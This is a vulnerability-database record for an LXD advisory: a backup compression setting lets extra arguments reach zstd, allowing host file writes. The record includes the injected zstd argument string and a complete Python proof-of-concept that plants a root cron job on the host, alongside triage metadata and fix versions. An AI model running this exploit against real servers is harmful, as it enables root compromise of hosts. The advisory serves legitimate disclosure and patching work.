{"id":"GHSA-fmc8-p6q7-75cc","kind":"vulnerability","aliases":["GHSA-fmc8-p6q7-75cc"],"related":[],"title":"LXD has argument injection in backup compression algorithm leading to AFW and ACE","description":"Reported from  https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4\n\n### Summary\n\nImproper validation of user-provided backup compression algorithm leads to\nargument injection in the constructed command line. This leads to an\narbitrary file write on the host, possibly leading to arbitrary command\nexecution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking\nonly the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n    return fmt.Errorf(\"Compression algorithm %q isn't currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and\npasses the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) > 1 {\n    args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default.  --execute uploads a cron payload into an instance and\nthen asks Incus for a direct backup with a zstd argument-injection compressor:\n\n    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>\n\nThe direct backup may fail after zstd runs; the host file write is the primitive.\nUse only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -> str:\n    return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -> str:\n    return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -> str:\n    if not path.startswith(\"/\"):\n        raise ValueError(\"--guest-path must be absolute\")\n    if \"..\" in PurePosixPath(path).parts:\n        raise ValueError(\"--guest-path must not contain '..'\")\n    return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -> str:\n    if args.source_host_path:\n        return args.source_host_path\n    return os.path.join(\n        args.incus_dir,\n        \"storage-pools\",\n        args.pool,\n        args.storage_kind,\n        project_instance(args.project, args.instance),\n        \"rootfs\",\n        clean_guest_path(args.guest_path),\n    )\n\n\ndef cron(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -> requests.Session:\n    s = requests.Session()\n    s.verify = False if args.insecure else (args.cacert or True)\n    if args.cert or args.key:\n        s.cert = (args.cert, args.key)\n    if args.token:\n        s.headers[\"Authorization\"] = \"Bearer \" + args.token\n    s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n    if args.insecure:\n        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]\n    return s\n\n\ndef check(resp: requests.Response, what: str) -> requests.Response:\n    if resp.status_code >= 400:\n        try:\n            detail: Any = resp.json()\n        except Exception:\n            detail = resp.text[:2048]\n        raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n    return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n    headers = {\n        \"Content-Type\": \"application/octet-stream\",\n        \"X-Incus-type\": \"file\",\n        \"X-Incus-write\": \"overwrite\",\n        \"X-Incus-uid\": \"0\",\n        \"X-Incus-gid\": \"0\",\n        \"X-Incus-mode\": \"0644\",\n    }\n    print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n    print(\"[*] sending direct backup request\")\n    resp = s.post(\n        url,\n        data=json.dumps(body).encode(),\n        headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n        timeout=args.timeout,\n        stream=True,\n    )\n    print(f\"[*] backup HTTP {resp.status_code}\")\n    resp.close()\n    if resp.status_code >= 400:\n        print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n    p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n    p.add_argument(\"--cert\", help=\"client certificate PEM\")\n    p.add_argument(\"--key\", help=\"client private key PEM\")\n    p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n    p.add_argument(\"--token\", help=\"bearer token\")\n    p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    p.add_argument(\"--timeout\", type=int, default=180)\n\n    p.add_argument(\"--project\", default=\"default\")\n    p.add_argument(\"--instance\", required=True)\n    p.add_argument(\"--pool\", default=\"default\")\n    p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n    p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n    p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n    p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n    p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n    p.add_argument(\"--command\", default=\"date >/incus-zstd-rce; id >>/incus-zstd-rce\")\n\n    p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n    p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n    args = p.parse_args()\n\n    if urllib.parse.urlparse(args.url).scheme != \"https\":\n        p.error(\"--url must use https\")\n    if bool(args.cert) != bool(args.key):\n        p.error(\"--cert and --key must be supplied together\")\n    if args.execute and not args.yes_i_understand_this_writes_host_file:\n        p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n    try:\n        clean_guest_path(args.guest_path)\n    except ValueError as exc:\n        p.error(str(exc))\n\n    args.url = args.url.rstrip(\"/\")\n    return args\n\n\ndef main() -> int:\n    args = parse_args()\n    src = source_path(args)\n    payload = cron(args.command)\n    compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n    body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n    print(\"[*] target:\", args.url)\n    print(\"[*] project:\", args.project)\n    print(\"[*] instance:\", args.instance)\n    print(\"[*] source host path:\", src)\n    print(\"[*] cron path:\", args.cron_path)\n    print(\"[*] payload:\", payload.decode().rstrip())\n    print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n    if not args.execute:\n        print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n        return 0\n\n    s = session(args)\n    upload(s, args, payload)\n    trigger_backup(s, args, body)\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument\ninjection leading to arbitrary file write with `zstd` and possibly\narbitrary command execution.","summary":"LXD accepts a backup compression algorithm value with extra arguments that are passed straight to the compressor binary, so the server runs it with attacker-chosen options. A user with API access can write arbitrary files on the host, which can lead to command execution.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260630083100-c5184be310b1"],"affected":"< 0.0.0-20260630083100-c5184be310b1","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-20","infrastructure","linux","lxd","self-hosted"],"not_affected_if":["local-access-only","managed-hosting"],"how_to_check":"- Check the LXD version with `lxd --version` and compare it against the fixed pseudo-version in the Go module `github.com/canonical/lxd`.\n- Confirm whether the LXD API is reachable from untrusted networks on port `8443`.","fix":"- `github.com/canonical/lxd` at `0.0.0-20260630083100-c5184be310b1` or later","status":"open","published_at":"2026-11-06T19:36:37+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","triaged_at":"2026-11-06T19:39:31+00:00","updated_at":"2026-11-06T19:39:31+00:00","category":"infrastructure","confidence":0.7,"triage":{"at":"2026-11-06T19:39:31Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/canonical/lxd` at `0.0.0-20260630083100-c5184be310b1` or later","reach":"network","title":"LXD: backup compression setting lets an attacker write host files","impact":"high","summary":"LXD accepts a backup compression algorithm value with extra arguments that are passed straight to the compressor binary, so the server runs it with attacker-chosen options. A user with API access can write arbitrary files on the host, which can lead to command execution.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","self-hosted","linux"],"confidence":0.7,"fix_status":"available","needs_auth":"yes","worst_case":"attacker writes host files and may run commands as root","analyst_note":"Confirm the affected and fixed LXD release tags and whether the default API configuration exposes this to non-admin users; check the GHSA page at https://github.com/advisories/GHSA-fmc8-p6q7-75cc.","how_to_check":"- Check the LXD version with `lxd --version` and compare it against the fixed pseudo-version in the Go module `github.com/canonical/lxd`.\n- Confirm whether the LXD API is reachable from untrusted networks on port `8443`.","plain_action":"","needs_analyst":true,"not_affected_if":["local-access-only","managed-hosting"],"who_is_affected":"Any LXD server that accepts API requests from users who can create backups, including remote API access over port 8443. Hosts that only run local, administrator-only LXD without remote API access are less exposed. The sources do not state which default settings enable remote access.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.001077,"input_tokens":7815,"output_tokens":591,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-20':28B '/.config/incus/client.crt':260C '/.config/incus/client.key':262C '/bin/sh':499C '/canonical/lxd':26A '/etc/cron.d/incus-zstd-rce':229C,247C,330C '/lxc/incus/security/advisories/ghsa-v6mj-8pf4-hhw4':85C '/payload':231C,249C '/usr/bin/env':282C '/var/lib/incus':230C,248C '0':159C,170C,174C,211C '1':202C,207C '400':564C '75cc':18A,23A '8443':258C 'absolut':439C 'accept':36B 'access':67B 'ace':13A 'afw':11A 'agent':536C 'algorithm':8A,40B,95C,125C,163C 'allowlist':139C 'annot':356C 'api':66B,389C 'append':204C 'arbitrari':70B,109C,118C 'arg':196C,203C,205C,212C,460C,507C 'argpars':358C 'argparse.namespace':461C,508C 'args.cacert':517C 'args.cert':521C,525C 'args.guest':489C 'args.incus':473C 'args.insecure':515C,544C 'args.instance':484C 'args.key':523C,526C 'args.pool':478C 'args.project':483C 'args.source':464C,468C 'args.storage':479C 'args.token':528C,532C 'argument':3A,44B,98C,176C,319C 'argument-inject':318C 'ask':309C 'attack':60B 'attacker-chosen':59B 'attr':550C 'attr-defin':549C 'author':350C,530C 'backup':6A,38B,93C,287C,314C,333C,540C 'base':390C 'base.rstrip':398C 'bearer':531C 'binari':52B 'byte':495C 'bzip2':148C 'c':183C,198C,240C,323C,500C 'c01':264C 'cert':259C 'check':132C,555C 'chosen':61B 'clean':423C,486C 'cmd':208C 'cmd.stdin':213C 'cmd.stdout':215C 'code':563C 'command':79B,103C,119C,493C,502C 'compress':7A,39B,94C,124C,162C,288C 'compressfil':180C 'compressor':51B,194C,321C 'construct':102C 'contain':452C 'cron':290C,302C,492C 'current':167C 'cwe':27B 'd':223C,241C,324C 'daemon':233C 'def':379C,388C,405C,422C,457C,491C,505C,554C 'default':298C,417C 'defin':551C 'detail':121C,566C 'dir':474C 'direct':313C,332C 'dri':294C 'dry-run':293C 'els':404C,418C,516C 'encod':504C 'endpoint':392C,399C 'equival':236C 'err':142C,171C 'exec.command':209C 'exec.lookpath':172C 'execut':80B,120C,234C,265C,299C 'extra':43B,175C 'f':224C,242C,325C,419C,497C 'fail':335C 'fals':513C 'field':130C,141C,158C,169C,173C,191C,201C,206C,210C 'file':71B,110C,273C,341C 'first':135C 'fmc8':16A,21A 'fmt.errorf':161C 'follow':275C 'futur':354C 'generat':277C 'ghsa':15A,20A 'ghsa-fmc8-p6q7-75cc':14A,19A 'github.com':25A,84C 'github.com/canonical/lxd':24A 'github.com/lxc/incus/security/advisories/ghsa-v6mj-8pf4-hhw4':83C 'go':140C,195C 'guest':424C,435C,448C,487C 'guest-path':434C,447C 'gzip':149C 'host':34B,74B,114C,272C,340C,465C,469C 'ignor':548C 'import':355C,357C,359C,361C,363C,365C,367C,371C,375C,377C 'improp':87C 'incus':122C,257C,286C,310C,351C,538C 'incus-zstd-backup-rce-poc':537C 'infil':214C 'infrastructur':29B 'inject':4A,99C,320C 'insecur':253C 'instanc':263C,306C,407C,410C,414C,421C,482C 'isn':165C 'json':360C 'key':261C 'kind':480C 'lead':9A,77B,96C,106C,116C 'len':200C 'like':220C 'line':104C 'linux':30B 'llm':280C 'lstrip':456C 'lxd':1A,31B,35B 'lz4':150C 'lzma':151C 'may':334C 'model':281C 'must':437C,450C 'n':503C 'o':228C,246C,329C 'option':62B 'os':362C 'os.path.join':472C 'os.path.normpath':454C 'outfil':216C 'p6q7':17A,22A 'param':394C,401C,403C 'pars':127C 'part':444C 'pass':47B,185C,226C,244C,327C 'pass-through':225C,243C,326C 'path':425C,426C,436C,443C,449C,459C,466C,470C,488C,490C 'path.lstrip':455C 'path.startswith':431C 'pathlib':370C 'payload':303C 'pigz':152C 'poc':250C,292C,542C 'poc.py':252C 'pool':477C 'possibl':115C 'prepend':182C 'primit':345C 'project':406C,408C,416C,420C,481C 'provid':92C 'pureposixpath':372C,442C 'pxz':154C 'python3':251C,283C 'pzstd':153C 'q':164C,380C 'rais':432C,445C 'rce':291C,541C 'reject':179C 'remain':187C 'remot':256C,285C 'remote-incus':255C 'report':81C 'request':378C 'requests.packages.urllib3.disable':545C 'requests.response':557C,560C 'requests.session':509C,511C 'resp':556C 'resp.status':562C 'return':160C,384C,397C,413C,453C,467C,471C,496C,552C 'root':498C 'rootf':485C 'run':56B,295C,338C 's.cert':524C 's.headers':529C,533C 's.verify':512C 'safe':387C 'self':33B 'self-host':32B 'server':55B,352C 'session':506C 'shellquote.split':143C 'shlex':364C 'shlex.quote':501C 'short':284C 'slices.contains':146C 'sourc':458C 'storag':476C 'storage-pool':475C 'str':382C,383C,391C,393C,395C,396C,409C,411C,412C,427C,428C,462C,494C,559C 'straight':48B 'string':147C,197C 'summari':86C 'suppli':190C 'support':168C 'sys':366C 'tar2sqfs':155C 'text':221C,238C 'token':136C 'tri':565C 'true':519C 'type':374C,547C 'understand':269C 'upload':300C 'url':254C 'urllib.parse':368C 'urllib.parse.quote':385C 'urllib.parse.urlencode':400C 'use':346C 'user':64B,91C,189C,535C 'user-ag':534C 'user-provid':90C 'user-suppli':188C 'valid':88C,123C 'valu':41B,144C,219C,381C,386C 'valueerror':433C,446C 'warn':546C 'write':69B,111C,271C,342C 'xz':156C 'yes':267C 'yes-i-understand-this-writes-host-fil':266C 'zstd':157C,222C,239C,289C,317C,322C,337C,539C","nicknames":[],"mitigations":[],"who_affected":"Any LXD server that accepts API requests from users who can create backups, including remote API access over port 8443. Hosts that only run local, administrator-only LXD without remote API access are less exposed. The sources do not state which default settings enable remote access.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["critical","cwe20","go","infrastructure","linux","lxd","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':26A '75cc':18A,23A 'ace':13A 'afw':11A 'algorithm':8A 'argument':3A 'backup':6A 'compress':7A 'fmc8':16A,21A 'ghsa':15A,20A 'ghsa-fmc8-p6q7-75cc':14A,19A 'github.com':25A 'github.com/canonical/lxd':24A 'inject':4A 'lead':9A 'lxd':1A 'p6q7':17A,22A","search_b":"'-20':28B 'accept':36B 'access':67B 'algorithm':40B 'api':66B 'arbitrari':70B 'argument':44B 'attack':60B 'attacker-chosen':59B 'backup':38B 'binari':52B 'chosen':61B 'command':79B 'compress':39B 'compressor':51B 'cwe':27B 'execut':80B 'extra':43B 'file':71B 'host':34B,74B 'infrastructur':29B 'lead':77B 'linux':30B 'lxd':31B,35B 'option':62B 'pass':47B 'run':56B 'self':33B 'self-host':32B 'server':55B 'straight':48B 'user':64B 'valu':41B 'write':69B","search_c":"'/.config/incus/client.crt':260C '/.config/incus/client.key':262C '/bin/sh':499C '/etc/cron.d/incus-zstd-rce':229C,247C,330C '/lxc/incus/security/advisories/ghsa-v6mj-8pf4-hhw4':85C '/payload':231C,249C '/usr/bin/env':282C '/var/lib/incus':230C,248C '0':159C,170C,174C,211C '1':202C,207C '400':564C '8443':258C 'absolut':439C 'agent':536C 'algorithm':95C,125C,163C 'allowlist':139C 'annot':356C 'api':389C 'append':204C 'arbitrari':109C,118C 'arg':196C,203C,205C,212C,460C,507C 'argpars':358C 'argparse.namespace':461C,508C 'args.cacert':517C 'args.cert':521C,525C 'args.guest':489C 'args.incus':473C 'args.insecure':515C,544C 'args.instance':484C 'args.key':523C,526C 'args.pool':478C 'args.project':483C 'args.source':464C,468C 'args.storage':479C 'args.token':528C,532C 'argument':98C,176C,319C 'argument-inject':318C 'ask':309C 'attr':550C 'attr-defin':549C 'author':350C,530C 'backup':93C,287C,314C,333C,540C 'base':390C 'base.rstrip':398C 'bearer':531C 'byte':495C 'bzip2':148C 'c':183C,198C,240C,323C,500C 'c01':264C 'cert':259C 'check':132C,555C 'clean':423C,486C 'cmd':208C 'cmd.stdin':213C 'cmd.stdout':215C 'code':563C 'command':103C,119C,493C,502C 'compress':94C,124C,162C,288C 'compressfil':180C 'compressor':194C,321C 'construct':102C 'contain':452C 'cron':290C,302C,492C 'current':167C 'd':223C,241C,324C 'daemon':233C 'def':379C,388C,405C,422C,457C,491C,505C,554C 'default':298C,417C 'defin':551C 'detail':121C,566C 'dir':474C 'direct':313C,332C 'dri':294C 'dry-run':293C 'els':404C,418C,516C 'encod':504C 'endpoint':392C,399C 'equival':236C 'err':142C,171C 'exec.command':209C 'exec.lookpath':172C 'execut':120C,234C,265C,299C 'extra':175C 'f':224C,242C,325C,419C,497C 'fail':335C 'fals':513C 'field':130C,141C,158C,169C,173C,191C,201C,206C,210C 'file':110C,273C,341C 'first':135C 'fmt.errorf':161C 'follow':275C 'futur':354C 'generat':277C 'github.com':84C 'github.com/lxc/incus/security/advisories/ghsa-v6mj-8pf4-hhw4':83C 'go':140C,195C 'guest':424C,435C,448C,487C 'guest-path':434C,447C 'gzip':149C 'host':114C,272C,340C,465C,469C 'ignor':548C 'import':355C,357C,359C,361C,363C,365C,367C,371C,375C,377C 'improp':87C 'incus':122C,257C,286C,310C,351C,538C 'incus-zstd-backup-rce-poc':537C 'infil':214C 'inject':99C,320C 'insecur':253C 'instanc':263C,306C,407C,410C,414C,421C,482C 'isn':165C 'json':360C 'key':261C 'kind':480C 'lead':96C,106C,116C 'len':200C 'like':220C 'line':104C 'llm':280C 'lstrip':456C 'lz4':150C 'lzma':151C 'may':334C 'model':281C 'must':437C,450C 'n':503C 'o':228C,246C,329C 'os':362C 'os.path.join':472C 'os.path.normpath':454C 'outfil':216C 'param':394C,401C,403C 'pars':127C 'part':444C 'pass':185C,226C,244C,327C 'pass-through':225C,243C,326C 'path':425C,426C,436C,443C,449C,459C,466C,470C,488C,490C 'path.lstrip':455C 'path.startswith':431C 'pathlib':370C 'payload':303C 'pigz':152C 'poc':250C,292C,542C 'poc.py':252C 'pool':477C 'possibl':115C 'prepend':182C 'primit':345C 'project':406C,408C,416C,420C,481C 'provid':92C 'pureposixpath':372C,442C 'pxz':154C 'python3':251C,283C 'pzstd':153C 'q':164C,380C 'rais':432C,445C 'rce':291C,541C 'reject':179C 'remain':187C 'remot':256C,285C 'remote-incus':255C 'report':81C 'request':378C 'requests.packages.urllib3.disable':545C 'requests.response':557C,560C 'requests.session':509C,511C 'resp':556C 'resp.status':562C 'return':160C,384C,397C,413C,453C,467C,471C,496C,552C 'root':498C 'rootf':485C 'run':295C,338C 's.cert':524C 's.headers':529C,533C 's.verify':512C 'safe':387C 'server':352C 'session':506C 'shellquote.split':143C 'shlex':364C 'shlex.quote':501C 'short':284C 'slices.contains':146C 'sourc':458C 'storag':476C 'storage-pool':475C 'str':382C,383C,391C,393C,395C,396C,409C,411C,412C,427C,428C,462C,494C,559C 'string':147C,197C 'summari':86C 'suppli':190C 'support':168C 'sys':366C 'tar2sqfs':155C 'text':221C,238C 'token':136C 'tri':565C 'true':519C 'type':374C,547C 'understand':269C 'upload':300C 'url':254C 'urllib.parse':368C 'urllib.parse.quote':385C 'urllib.parse.urlencode':400C 'use':346C 'user':91C,189C,535C 'user-ag':534C 'user-provid':90C 'user-suppli':188C 'valid':88C,123C 'valu':144C,219C,381C,386C 'valueerror':433C,446C 'warn':546C 'write':111C,271C,342C 'xz':156C 'yes':267C 'yes-i-understand-this-writes-host-fil':266C 'zstd':157C,222C,239C,289C,317C,322C,337C,539C","first_public_at":"2026-11-06T19:36:37+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-fmc8-p6q7-75cc","url":"https://github.com/advisories/GHSA-fmc8-p6q7-75cc","severity":"critical","published_at":"2026-11-06T19:36:37+00:00","modified_at":"2026-11-06T19:36:38+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","fetched_at":"2026-11-06T19:38:16+00:00","note":null}],"documents":[{"id":89133,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-fmc8-p6q7-75cc","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89134,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-fmc8-p6q7-75cc","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89135,"url":"https://github.com/canonical/lxd/commit/0915bb88cbb0baed5ac1aef8e62079c57ac877da","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89136,"url":"https://github.com/canonical/lxd/commit/0ab30d1bbe398ef6359fb8116d6852790a1f151d","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89137,"url":"https://github.com/canonical/lxd/commit/1887e3da0f33af250d941e4e9ffafc8fd0911a89","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89138,"url":"https://github.com/canonical/lxd/commit/32fd88560ddfc10b0a808c9f176d93faf0e0069a","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89139,"url":"https://github.com/canonical/lxd/commit/932592daa790ddd1c0d074daee9c0522d8e268fe","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89140,"url":"https://github.com/canonical/lxd/commit/9b09906b3b4c27ba4416e522644bd1d5191cdf5f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89141,"url":"https://github.com/canonical/lxd/commit/a2808429c2506d6fa5bf506e4790909c5bd3aac9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89142,"url":"https://github.com/canonical/lxd/commit/afc0e7ff003b81fa00f3aff147b99838a610f796","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89143,"url":"https://github.com/canonical/lxd/commit/b3e8cedb39838e5effe7b9d0ae3a3ad3ce85f9ec","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89144,"url":"https://github.com/canonical/lxd/commit/c6c999561ccf0024337e9f3746087c7f9c5f096f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}